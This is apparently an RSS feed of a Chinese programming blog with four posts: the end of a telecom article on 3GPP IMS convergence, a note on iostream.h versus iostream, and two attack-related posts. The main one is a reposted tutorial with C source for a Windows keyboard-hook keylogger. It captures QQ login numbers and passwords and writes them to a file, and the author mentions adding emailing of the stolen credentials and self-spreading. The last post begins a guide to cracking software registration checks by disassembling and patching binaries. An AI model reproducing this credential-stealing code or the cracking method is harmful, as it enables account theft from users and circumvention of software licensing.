　　3GPP R5的IP多媒体子域(IMS)定义了UMTS核心网向全IP演进的网络结构。IMS提供多媒体会话功能，强调媒体组合业务，标准的开放性保证业务组合非常容易。IMS域提供IP网络控制QoS的能力，保障业务质量。真正支持业务的开放性，业务间的耦合性降低，可以支持极其丰富的第三方新业务。IMS网络和IP网络的完美结合，把IP网转变成为可管理的网络。IMS提供灵活的业务计费手段和计费能力，把IP网络转变成可运营的网络。IMS网络支持各种接入方式，业务特点与接入方式无关。已有的业务平台业务服务器，如SCP等，可以作为数据业务的平台在IMS网络中继续发展。IMS不同于已有的各种网络，提供真正可运营、可管理、开放的增值服务网络。<br />
　　<br />
　　2.3GPP2 MMD<br />
　　<br />
　　3GPP2定义的cdma2000全IP网络结构的多媒体域(MMD)核心网主要包括两个子系统：分组数据子系统和IP多媒体会话子系统。这里的IP多媒体会话子系统与3GPP的IMS子域相对应，其演进方式基本相似。<br />
　　<br />
　　3.网络融合问题<br />
　　<br />
　　3GPP和3GPP2两种体制的移动通信网络在技术上逐渐IP化，这是一个共同的趋势。并且网络中的IP从网络向无线接入侧延伸，从高层向低层延伸。<br />
　　<br />
　　(1)在电路域方面，3GPP的分组化包括IP和ATM两种方式，而3GPP2的分组化仅有一种全IP的方式。实际上两个体系电路域的IP方式基本一致，但3GPP规定的协议相对比较完善和成熟。由于目前IP方式承载电路域业务的QoS问题还没有完全解决，因此3GPP规定的ATM承载方式实现电路域的业务交换，将是NGN软交换在移动网络中最早开始的应用。<br />
　　<br />
　　(2)多媒体域方面，3GPP2规定的MMD最初就是依据3GPP的MS子域设计的，网络结构和接口协议基本一致。因此，两种体系在这个域的融合将是必然(见图3)。<br />
　　<br />
</font></p>
<div align="left"><font style="font-size: 12px" color="#660000"><img style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" src="http://www.net130.com/CMS/Files/Uploadimages/1127859.jpg"  alt="" /><br />
</font></div>
<div align="left"><font style="font-size: 12px" color="#660000">图3　3GPP和3GPP2全IP融合参考模型</font></div>
<p align="left"></p>
<p align="left"></p>
<div align="left"><font style="font-size: 12px" color="#660000">表1　3GPP和3GPP2功能实体的对应关系</font></div>
<p><font style="font-size: 12px"><br />
</font>&nbsp;<wbr></p>
<p align="left"><font style="font-size: 12px" color="#660000"><img style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; width: 500px; border-bottom: black 1px solid; height: 204px" src="http://www.net130.com/CMS/Files/Uploadimages/1127861.gif"  alt="" /></font></p>
<p><strong><font style="font-size: 12px" color="#660000">　　六、结束语</font></strong></p>
<p><font style="font-size: 12px" color="#660000">　　移动软交换技术作为3G网络的一种重要技术受到了业界的普遍关注，我国正在进行相应的行业标准制定工作。无论是固定网络还是移动网络都在向下一代网络演进，移动和固定NGN的融合也是未来电信网络的发展趋势。目前，国内多个运营商都已使用软交换技术进行试验，但由于传统的网络运营模式、业务经营模式的制约以及3G网络的逐步部署，这种融合将需要一个较长的过程。</font></p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/221450.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-08-12 11:12 <a href="http://www.blogjava.net/hijackwust/archive/2008/08/12/221450.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用VC++模拟实现QQ密码盗窃软件</title><link>http://www.blogjava.net/hijackwust/archive/2008/06/28/211410.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Sat, 28 Jun 2008 12:01:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/06/28/211410.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/211410.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/06/28/211410.html#Feedback</comments><slash:comments>9</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/211410.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/211410.html</trackback:ping><description><![CDATA[<p>转自：http://www.sudu.cn/info/html/edu/code/20071229/79221.html<br />
<br />
一般的盗密码的软件的软件都是通过监控键盘来获得密码，这样操作比较方便，但是这样也存在一定问题，密码有的时候不是很准确，因为有的人输入密码并不是从前到后输入，当然这样的人也是少数，盗密码嘛，当然去得到那些比较粗心的人的密码！ 通过安装钩子来监控QQ登陆界面就是获得密码的方法，在安装前得先找到登陆窗口的句柄，当钩子安装后，记录键盘，当用户&#8220;回车&#8221;或是点了&#8220;登陆&#8221;就能够开始处理密码了！ 我准备分为四部分来说明这个整个过程：<br />
<br />
　　（1）寻找QQ登陆界面。<br />
<br />
　　（2）安装钩子<br />
<br />
　　（3）钩子<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>的解释.<br />
<br />
　　（4）处理密码。<br />
<br />
　　以下部分全是使用<a class="channel_keylink" href="http://www.bc-cn.net/Article/kfyy/cyy/Index.html">C语言</a>，文章中我假设读者您是会C/SDK编程的。假如碰到相关的概念性问题，您能够查看MSDN或是上BBS 询问！ <br />
<br />
<strong>第一部分</strong><strong>：（1）寻找QQ登陆界面。</strong><br />
<br />
　　软件运行后，利用安装定时器，每秒在系统找QQ登陆界面，这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄，看下面代码： </p>
<p>&nbsp;</p>
<pre>#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);<br />
　　<br />
　　安装好TIMER后，下面是处理主程式的WM_TIMER消息，凡是出现没有定义的变量，您能够理解为是全局变量.</pre>
<pre>//处理WM_TIMER代码
if (!IsWindow(g_hQQLogin))  //判断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL);      //参数为NULL是卸载HOOK，参数为句柄是安装句柄
do
{
//利用FindWindowEx查找QQ登陆窗口，具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);  //对话框的类都是#32770
//找到类名是#32770后，再在其窗体内找一个具备&#8220;  登录QQ&#8221;的BUTTON按纽
//这一句很关键，假如您的QQ登陆窗口上没有"  登录QQ"字样，那么获取密码将失败！
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", "  登录QQ");
}
while(g_hQQLogin != NULL &amp;&amp; hLogin == NULL); //直到找到指定的窗口，即：QQ登陆窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安装HOOK，此<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>在DLL文档中 第二部分中介绍
}
}</pre>
<p>　　上面就是查找QQ登陆窗口句柄的过程，从代码能够看出我用的方法：找一个其子窗体中有一个标题为&#8220; 登录QQ&#8221;的BUTTON的对话框（这句话说得有点饶口，这句话假如也看不懂，下面您不用看了：（） 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找，但是我用Spy++看了QQ登陆窗口的标题并不是&#8220;QQ用户登陆窗口&#8221;，而是&#8220;乱码&#8221;，其中包含了回车键等特别字符，于是我用了FindWindowEx().<br />
<br />
<strong>　　第二部分：（2）安装钩子</strong><br />
<br />
　　找到了QQ登陆窗口后，就成功了一半。<br />
<br />
　　下面是DLL文档中的安装HOOK的函数SetQQHook(), 为什么要用DLL（动态连接库）？要去&#8220;钩&#8221;其他进程的消息，得让HOOK<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>在DLL中，这样好映射到其地址空间中！ </p>
<pre>BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//获得登陆框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);  //这是什么意思？看MSDN
g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ，此处不相同！ 得到QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ，此处不相同！得到QQ密码的子窗口句柄
if (g_hNum == NULL)
{
MessageBox(NULL,"哭了，号码句柄都没有得到！","郁闷",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"哭了，密码句柄都没有得到！","郁闷",0);
return FALSE;
}
分别键盘HOOK，和界面部分消息处理的HOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) &amp;&amp; (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) &amp;&amp; UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}</pre>
<p>　　上面是安装HOOK部分的代码，就这么简单，上面提到了CallWndProc，KeyboardProc是两个回调函数，是我第三部分要解释的钩子<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a><br />
<br />
<strong>　　第三部分：（3）钩子<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>的解释</strong><br />
<br />
　　CallWndProc，KeyboardProc是两个回调<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>的原型和具体代码如下： </p>
<pre>// 钩子过程，监控&#8220;登陆&#8221;的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获&#8220;登陆&#8221;按钮
if (p-&gt;message == WM_COMMAND &amp;&amp; p-&gt;wParam ==16032)
//下面个<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>是我在第四部分介绍-&#8220;处理密码&#8221;部分会仔细说明
//当用户点了登陆按钮，说明QQ号码和QQ密码已填写完毕，当然能够去获得密码了
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 键盘钩子过程，监控&#8220;登陆&#8221;的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息，记录键盘的按键盘过程,pmsg是PMSG类型的，i是全局Static类型的
pmsg[i].wParam =wParam;
i++;
if (wParam == VK_RETURN) //用户使用键盘&#8220;回车&#8221;来登陆，用户用了回车后，就能够能够去获得密码了
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}</pre>
<p>　　在明白了这两个钩子<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a>后就能够看后期是如何具体处理密码的了，这就是下面的第四部分内容<br />
<br />
<strong>　　第四部分：（4）处理密码</strong><br />
<br />
　　假如您读到了此处，我想得暂停一会，先让我来帮您回忆一下前面提到的几个关键的变量<br />
<br />
　　第一个：QQ号的子窗口句柄 g_hNum<br />
<br />
　　第二个：QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用，下面<br />
<br />
　　第三个：存键盘按键的 pmsg<br />
<br />
　　上面三变量分别出现在第二部分和第三部分，都是全局共享（shared）变量<br />
<br />
　　QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用，您能够看到下面代码中有句用到g_hPsw的语句是我注释掉了的，原因是无法通过那样去得到QQ密码，得处理按键消息<br />
</p>
<pre>void GetPasswrod()
{
//声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
//得到QQ号的内容，以为有的人的QQ号是在登陆框有记录，其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw));  //此句不使用，无法这样获得密码
//提取出键盘记录,此内容也许全是密码，也许是QQ号+QQ密码
for(j=0;j&nbsp;20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
//把QQ号码和QQ密码写入C盘password.txt中
f = CreateFile("c:\\password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&amp;total,sizeof(total),&amp;dw,NULL);
CloseHandle(f);
}</pre>
<p>　　最后在C盘password.txt也许会出现这样两种情况：<br />
<br />
　　1）当QQ号是没有用输入，而已用的粘贴或是电脑以前有记录则是：号码：21728812密码：TEST<br />
<br />
　　2） 当QQ号是用的键盘输入，电脑没有QQ号记录时则是： 号码：21728812密码：21728812TEST <br />
<br />
　　能够看出，第2种情况把QQ当成了密码了，所以密码还得减去QQ号，特别说明：我这样直接处理wParam参数，得到的字符密码全是大写的，具体大小写问题我没有就没有仔细去处理的，功能实现就行了，毕竟我使用他不用来盗密码的！ <br />
<br />
　　上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量，没有提到的函数如：GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API，周详使用说明请查MSDN（http://www.msdn.com),我提到的&#8220;HOOK&#8221;，&#8220;钩子&#8221;是同一个意思，也许有的地方我说的钩子函数，而另外一个地方说的是HOOK<a class="channel_keylink" href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%BA%AF%CA%FD">函数</a><br />
<br />
　　特别说明：上面有具体的运行文档，由于小弟并没有考虑到更多细节，我只是用了&#8220;理想&#8221;状况下去获得密码，并且或的密码后并没有注重后期密码处理，也许出现密码大小写不符合或是无法得到密码，请大家千万别笑话，我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理，和希望和大侠们交流 ！<br />
<br />
　　后期假如有必要的话，我准备进行改版，按照&#8220;真正&#8221;的QQ&#8220;木马&#8221;来写，如：对QQ版本进行识别，密码自动发送到E-MAIL,加入QQ尾巴代码，使其自动传给好友的等功能！请关注我的主页 http://www.uisoft.net<br />
<br />
　　注意：我使用的QQ2005 贺岁版 版本号：13.5.0.8213，其他版本的QQ我无法确保能够正确得到密码！<br />
<br />
　　参考资料：MSDN，Titilima的QQ尾巴病毒模拟代码,&nbsp;&nbsp; QQ自动登陆器源码<br />
<br />
QQ自动登陆器源码（VC++）下载 ： <a href="/Files/hijackwust/QQLogin.rar">/Files/hijackwust/QQLogin.rar</a><br />
</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/211410.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-06-28 20:01 <a href="http://www.blogjava.net/hijackwust/archive/2008/06/28/211410.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>iostream.h和iostream 区别</title><link>http://www.blogjava.net/hijackwust/archive/2008/06/20/209529.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Fri, 20 Jun 2008 11:34:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/06/20/209529.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/209529.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/06/20/209529.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/209529.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/209529.html</trackback:ping><description><![CDATA[<p>转自：http://hi.baidu.com/laddie10/blog/item/079b1d4c32d7d8fcd62afc25.html<br />
<br />
C++中新定义的方法都是有名字空间的 比如cout就属于std名字空间 如果include头文件的时候加上.h，默认会using namespace 否则需要自己加上 using namespace XXX 对于C中已经定义的方法如printf，没有影响的<br />
<br />
iostream.h是包含输入/输出流处理的头文件,iostream就什么都不是了 <br />
但用iostream要加名词空间namespace<br />
<br />
#include&lt;iostream.h&gt; <br />
或者是 <br />
#include&lt;iostream&gt; <br />
using namespace std; <br />
二者都行<br />
<br />
#include&lt;iostream.h&gt;是C语言中比较通用的 <br />
#include&lt;iostream&gt; <br />
using namespace std; <br />
是C++中比较通用的<br />
<br />
<font color="#ff6600">#include &lt;iostream.h&gt;这样写,里面的函数都是全局函数.</font> <br />
<br />
不加.h的是现在C++中规定的标准，目的在于使C++代码用于移植和混合嵌入时不受扩展名.h的限制，避免因为.h而造成的额外的处理和修改 <br />
而加.h的是c语言的用法，但是在c++中也支持这种用法，主要是为了向下兼容c 的内容，我们平时尽量不用这种方法 <br />
iostream是现在C++中规定的标准，目的在于使C++代码用于移植和混合嵌入时不受扩展名.h的限制，避免因为.h而造成的额外的处理和修改。iostream包含的基本功能和对应的旧头文件相同，但头文件的内容在名字空间std中。（在标准化的过程中，库中有些部分的细节被修改了，所以旧头文件和新头文件中的实体不一定完全对应。） 一般情况下应该用这个头文件，而iostream.h则是老式的，以后有可能被淘汰。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 经常在CSDN以及其他之类的技术论坛上问关于C++ 头文件的问题。提出这些问题的往往就是那些刚学C++的新手。当初我是菜鸟的时候也问过类似的问题。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 现在来看看下面两个include:</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;iostream&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 这个就是1998年标准化以后的标准头文件</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;iostream.h&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 这个就是标准化以前的头文件</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 更本质上的区别就是iostream把标准C++库的组件放在一个名位std的namespace里面。而相对的iostream.h则将这些标准组件放在全局空间里，同时在标准化以后旧有的C标准库也已经经过改造了。 使用前者，就需要在代码中添加语句：<font color="#0000ff">using namespace std;</font></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 看看下面这两个头文件</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; // 标准化后经过改造的C的标准库，所有的组件都放在了std中</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;cstdio&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; // 标准化以前C++中的C标准库</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;stdio.h&gt;</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; // 在看看这个头文件C标准库下 基于char* 的字符处理函数库</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;string.h&gt;</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; // 在标准化以后他变成了这样</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;cstring&gt;</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; // 但是很多朋友还看见过这个字符串处理函数库，他包含了新的string class</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; #include&lt;string&gt;</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 经过了标准委员会如此大规模手术后，在98年以前出品的C++编译器（BC3.0，BC5.0）上能顺利通过编译的源文件，在支持新标准的编译器上可能无法顺利通过编译也就是很正常的事了。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">[起因]</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 在回过头来看看标准程序库，这个程序库涵盖范围相当广大，提过了许许多多好用的功能。正是因为这样标准程序库中class的名称和函数名与第三方提供的程序库中的class名或是函数名发生名字冲突的可能性大大增大。为了避免这个问题的发生，标准委员会决定将标准程序库中每一样东西都放在namespace std中。但是这么做同时有引来了一个新的问题。很多C++程序代码依赖那些已经存在很多年的C++ &#8220;准&#8221;标准程序库（C++迟迟未标准化才导致这些情况的发生），例如iosteam.h,complex.h等等。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 为了解决这个新出现的问题，标准化委员会决定设计一些新的头文件名，给那些穿上std外衣的组件所使用。把C++头文件的.h去掉，于是就有前面出现的iostream，同样C的头文件也做了相同的处理，同时在前面加上了一个字母c，以表示是C的头文件（感觉上有中种族歧视的感觉）。同时标准化委员会声明就有的C++头文件将不再列于被支持的名单之中了，而旧有的C头文件为了满足&#8220;对C的兼容性&#8221;这个古老契约，仍然将继续存活下去。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">但是，那些编译器厂商不可能去推翻他们客户的旧有编译器（也跟本不会去这么做），所以那些旧有的C++头文件仍然苟延残喘的活了下来，并不断的扰乱那些C++新兵的心智。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">&nbsp;&nbsp;&nbsp;&nbsp; 下面就是现在大多数C++开发工具表示头文件的组织状态：</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">1.&nbsp;&nbsp;&nbsp;&nbsp; 旧的C++头文件 比如iostream.h，他们虽然被标准化委员会所抛弃，但由于各大厂商为了各自的商业利益仍然将继续存活下去，这些头文件的内容将不处于namespace std中。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">2.&nbsp;&nbsp;&nbsp;&nbsp; 新的C++头文件如iostream虽然提供了和旧有头文件相同的功能，但他的内容都并入了namespace std中，从而有效避免了名字污染的问题。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">3.&nbsp;&nbsp;&nbsp;&nbsp; 标准C的头文件如stdio.h继续获得支持，这类文件的内容并未放在std中。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">4.&nbsp;&nbsp;&nbsp;&nbsp; C函数库的技能也有对应的新式C++版本，起名称类似cstdio，这类头文件的内容也有幸穿上了std的外衣。</p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%"></p>
<p style="margin: 5px; text-indent: 26px; line-height: 150%">其实标准化以后的标准程序库的改动并不只有这些而已，很多的标准化组件都被&#8220;tamplate化&#8221;。其中就有元老级人物iostream。标准程序库的问题并不是用一篇，两篇文章就可以说清楚的。如果你像进一步的了解C++的标准程序库的话，你可以看看侯先生的《C++标准程序库》。</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/209529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-06-20 19:34 <a href="http://www.blogjava.net/hijackwust/archive/2008/06/20/209529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]再发一个破解教程</title><link>http://www.blogjava.net/hijackwust/archive/2008/04/20/194302.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Sun, 20 Apr 2008 05:10:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/04/20/194302.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/194302.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/04/20/194302.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/194302.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/194302.html</trackback:ping><description><![CDATA[<font color="blue">转自：<a href="http://bbs.macd.cn/thread-654536-1-1.html">http://bbs.macd.cn/thread-654536-1-1.html</a><br />
<br />
软件破解的目的是</font>：：：有些需要注册的软件，可是找不到注册码，将其破解之后，输入任何注册码都会提示注册成功。<br />
！<br />
<br />
<font size="4"><font color="maroon">声明：本人也只是一知半解，我们可以一起学习，但是不要给我出太难的题发一些大型软件让我破解，我怎么可能破的出来呢？？此贴适合从来没接触过软件破解或编程的同志学习</font></font><br />
<br />
<font color="blue">因为截图制作图示太费时间了，做个大贴要好几个小时，才加4分，没意思，本来想就此封笔，可是看兄弟们都这么热情，忍不住再发一贴。昨晚夜班到现在还没睡呢，所以偷点懒，大家麻烦一下到我上一个贴子：网络添表破解教程看吧</font><br />
<br />
下面开始今天的破解，相关软件即图示到我的这个帖子下载：<a href="http://bbs.macd.cn/viewthread.php?tid=653535&amp;extra=&amp;highlight=&amp;page=1" target="_blank">http://bbs.macd.cn/viewthread.ph ... ghlight=&amp;page=1</a><br />
<br />
我要破解的软件：万事通.exe&nbsp;&nbsp;<br />
<br />
<br />
破解需要的软件：侦壳 language.exe&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 脱壳AspackDie.exe <br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 反编译 W32Dasm黄金中文版&nbsp; &nbsp;16进制编辑器 UltraEdit.rar<br />
<br />
<br />
在破解之前先复习一下基础知识：<br />
<br />
<br />
一.破解的等级<br />
<br />
<br />
初级,修改程序,用ultraedit修改exe文件,称暴力破解,简称爆破<br />
中级,追出软件的注册码<br />
高级,写出注册机<br />
<br />
二.用w32dasm破解的一般步骤:<br />
<br />
<br />
1.看软件的说明书,软件注册与不注册在功能上有什么区别,如何注册<br />
2.运行此软件,试着输入你的姓名和任意注册码去注册,有什麽错误<br />
提示信息,将错误提示信息记下来<br />
3.侦测有无加壳(第一课).若加壳,脱壳(第二课)<br />
4.pw32dasmgold反汇编<br />
5.串式参考中找到错误提示信息或可能是正确的提示信息双击鼠标左键<br />
6.pw32dasmgold主窗口中分析相应汇编,找出关键跳转和关键call<br />
7.绿色光条停在关键跳转,在pw32dasmgold主窗口底部找到关键跳转<br />
的偏移地址(实际修改地址)<br />
8.用ultraedit找到偏移地址(实际修改地址)修改机器码,保存<br />
<br />
<br />
壳的概念：版权信息需要保护起来,不想让别人随便改动,exe可执行文件压缩，最常见的加壳软件ASPACK ,UPX,PEcompact<br />
<br />
